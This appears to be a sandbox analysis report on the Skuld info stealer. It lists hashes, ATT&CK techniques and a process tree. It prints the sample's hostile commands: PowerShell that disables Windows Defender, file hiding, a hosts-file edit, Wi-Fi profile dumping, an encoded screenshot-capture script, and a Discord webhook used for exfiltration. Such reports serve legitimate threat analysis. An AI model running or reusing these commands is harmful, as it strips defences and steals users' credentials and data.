skuld | 99fb0eca4614a74886d2d1221045c9f35b4ac7400488db84fdcebdc6bde2f88e

Analysis

max time kernel
150s
max time network
114s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
30-06-2024 22:54

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General

Target

skuld.exe
Size

9.5MB
MD5

4527ef40b2543cbfa46d35c25f741dae
SHA1

f01565f1b655a840a6a4b1cbc070659014508aee
SHA256

99fb0eca4614a74886d2d1221045c9f35b4ac7400488db84fdcebdc6bde2f88e
SHA512

ab4b576dbbfdbb8fe4f1b170fbb9de9a484ff89fcdda60df90d524a6e0ab63e6f564cb471424dfad8fea9ef49b17bfe5c4b8ddd7be6997d8ba725d3461da4316
SSDEEP

98304:fdWb6aDUMqI03IXN1dsv7FQMEP4KAd4f:A/UMqY1dsvBQlPTf

Score

10^/10

skuld execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1257039082274422896/395iJabK3IVPpIWgS1k1UJ3FAnHY2lWIwRcLWCTN1yTDR63aYdeLgcVrc81Dut5tbfV4

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4228	powershell.exe
3112	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	skuld.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	skuld.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3452	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	17	Go-http-client/1.1

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	skuld.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4732	skuld.exe
4732	skuld.exe
3112	powershell.exe
3112	powershell.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4580	powershell.exe
4732	skuld.exe
4732	skuld.exe
4580	powershell.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4732	skuld.exe
4228	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4732	skuld.exe
Token: SeDebugPrivilege	3112	powershell.exe
Token: SeIncreaseQuotaPrivilege	1432	wmic.exe
Token: SeSecurityPrivilege	1432	wmic.exe
Token: SeTakeOwnershipPrivilege	1432	wmic.exe
Token: SeLoadDriverPrivilege	1432	wmic.exe
Token: SeSystemProfilePrivilege	1432	wmic.exe
Token: SeSystemtimePrivilege	1432	wmic.exe
Token: SeProfSingleProcessPrivilege	1432	wmic.exe
Token: SeIncBasePriorityPrivilege	1432	wmic.exe
Token: SeCreatePagefilePrivilege	1432	wmic.exe
Token: SeBackupPrivilege	1432	wmic.exe
Token: SeRestorePrivilege	1432	wmic.exe
Token: SeShutdownPrivilege	1432	wmic.exe
Token: SeDebugPrivilege	1432	wmic.exe
Token: SeSystemEnvironmentPrivilege	1432	wmic.exe
Token: SeRemoteShutdownPrivilege	1432	wmic.exe
Token: SeUndockPrivilege	1432	wmic.exe
Token: SeManageVolumePrivilege	1432	wmic.exe
Token: 33	1432	wmic.exe
Token: 34	1432	wmic.exe
Token: 35	1432	wmic.exe
Token: 36	1432	wmic.exe
Token: SeIncreaseQuotaPrivilege	1432	wmic.exe
Token: SeSecurityPrivilege	1432	wmic.exe
Token: SeTakeOwnershipPrivilege	1432	wmic.exe
Token: SeLoadDriverPrivilege	1432	wmic.exe
Token: SeSystemProfilePrivilege	1432	wmic.exe
Token: SeSystemtimePrivilege	1432	wmic.exe
Token: SeProfSingleProcessPrivilege	1432	wmic.exe
Token: SeIncBasePriorityPrivilege	1432	wmic.exe
Token: SeCreatePagefilePrivilege	1432	wmic.exe
Token: SeBackupPrivilege	1432	wmic.exe
Token: SeRestorePrivilege	1432	wmic.exe
Token: SeShutdownPrivilege	1432	wmic.exe
Token: SeDebugPrivilege	1432	wmic.exe
Token: SeSystemEnvironmentPrivilege	1432	wmic.exe
Token: SeRemoteShutdownPrivilege	1432	wmic.exe
Token: SeUndockPrivilege	1432	wmic.exe
Token: SeManageVolumePrivilege	1432	wmic.exe
Token: 33	1432	wmic.exe
Token: 34	1432	wmic.exe
Token: 35	1432	wmic.exe
Token: 36	1432	wmic.exe
Token: SeIncreaseQuotaPrivilege	2252	wmic.exe
Token: SeSecurityPrivilege	2252	wmic.exe
Token: SeTakeOwnershipPrivilege	2252	wmic.exe
Token: SeLoadDriverPrivilege	2252	wmic.exe
Token: SeSystemProfilePrivilege	2252	wmic.exe
Token: SeSystemtimePrivilege	2252	wmic.exe
Token: SeProfSingleProcessPrivilege	2252	wmic.exe
Token: SeIncBasePriorityPrivilege	2252	wmic.exe
Token: SeCreatePagefilePrivilege	2252	wmic.exe
Token: SeBackupPrivilege	2252	wmic.exe
Token: SeRestorePrivilege	2252	wmic.exe
Token: SeShutdownPrivilege	2252	wmic.exe
Token: SeDebugPrivilege	2252	wmic.exe
Token: SeSystemEnvironmentPrivilege	2252	wmic.exe
Token: SeRemoteShutdownPrivilege	2252	wmic.exe
Token: SeUndockPrivilege	2252	wmic.exe
Token: SeManageVolumePrivilege	2252	wmic.exe
Token: 33	2252	wmic.exe
Token: 34	2252	wmic.exe
Token: 35	2252	wmic.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4732 wrote to memory of 4600	4732	skuld.exe	84
PID 4732 wrote to memory of 4600	4732	skuld.exe	84
PID 4732 wrote to memory of 3112	4732	skuld.exe	85
PID 4732 wrote to memory of 3112	4732	skuld.exe	85
PID 4732 wrote to memory of 1432	4732	skuld.exe	86
PID 4732 wrote to memory of 1432	4732	skuld.exe	86
PID 4732 wrote to memory of 4480	4732	skuld.exe	88
PID 4732 wrote to memory of 4480	4732	skuld.exe	88
PID 4732 wrote to memory of 2252	4732	skuld.exe	89
PID 4732 wrote to memory of 2252	4732	skuld.exe	89
PID 4732 wrote to memory of 4580	4732	skuld.exe	90
PID 4732 wrote to memory of 4580	4732	skuld.exe	90
PID 4732 wrote to memory of 3452	4732	skuld.exe	91
PID 4732 wrote to memory of 3452	4732	skuld.exe	91
PID 4732 wrote to memory of 4940	4732	skuld.exe	93
PID 4732 wrote to memory of 4940	4732	skuld.exe	93
PID 4732 wrote to memory of 1540	4732	skuld.exe	94
PID 4732 wrote to memory of 1540	4732	skuld.exe	94
PID 4732 wrote to memory of 732	4732	skuld.exe	95
PID 4732 wrote to memory of 732	4732	skuld.exe	95
PID 4732 wrote to memory of 2396	4732	skuld.exe	96
PID 4732 wrote to memory of 2396	4732	skuld.exe	96
PID 4732 wrote to memory of 4228	4732	skuld.exe	97
PID 4732 wrote to memory of 4228	4732	skuld.exe	97
PID 4228 wrote to memory of 3984	4228	powershell.exe	98
PID 4228 wrote to memory of 3984	4228	powershell.exe	98
PID 3984 wrote to memory of 2232	3984	csc.exe	99
PID 3984 wrote to memory of 2232	3984	csc.exe	99

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4600	attrib.exe
4480	attrib.exe
1540	attrib.exe
732	attrib.exe

C:\Users\Admin\AppData\Local\Temp\skuld.exe
"C:\Users\Admin\AppData\Local\Temp\skuld.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4732
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
  2⤵
  - Views/modifies file attributes
  PID:4600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3112
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1432
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:4480
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4580
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3452
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:4940
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:1540
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:732
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iso10knp\iso10knp.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3984
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES61C7.tmp" "c:\Users\Admin\AppData\Local\Temp\iso10knp\CSC8ABB16698AF4C4C871C1FFBC5D13F8.TMP"
      4⤵
      PID:2232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
